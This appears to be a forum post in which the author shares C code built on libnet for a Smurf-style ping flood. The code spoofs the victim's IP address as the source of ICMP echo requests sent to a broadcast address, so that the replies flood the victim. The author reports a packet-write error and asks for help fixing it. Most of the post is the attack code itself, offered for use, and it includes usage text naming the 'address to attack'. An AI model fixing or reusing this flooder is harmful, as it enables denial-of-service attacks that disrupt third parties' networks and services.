i am trying to create a ping flood program which takes as argument the target ip address and the broadcast ip address. the program will send icmp echo packets to the broadcast address and with the victms ip address as the source. all the hosts on the networks who got the packet will return the answer to the victim.
the code looks like this:
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>
void usage(char * pname)
{
printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}
int main(int argc, char *argv[])
{
if(argc != 3)
usage(argv[0]);
char errbuff[LIBNET_ERRBUF_SIZE];
libnet_t *l;
uint16_t cmp_id;
uint16_t ip_id;
for(int i=0; i<100; i++)
{
l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff); //initializing the packet
if(l==NULL)
{
fatal("in initializing the index of the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
libnet_seed_prand(l);
cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
{
fatal("while trying to build icmpv4_echo packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
{
fatal("while trying to create ipv4 header...\nERROR: ");
printf("%s",libnet_geterror(l));
}
if(libnet_write(l) == -1)
{
fatal("while trying to write the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
libnet_destroy(l);
}
return 0;
}
and when i run it i get this output:
[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success
i am using libnet library in order to create the packet and i have a feeling i have some kind of a mistake in the libnet_build_ipv4() function.
any help and suggestions ?
thanx.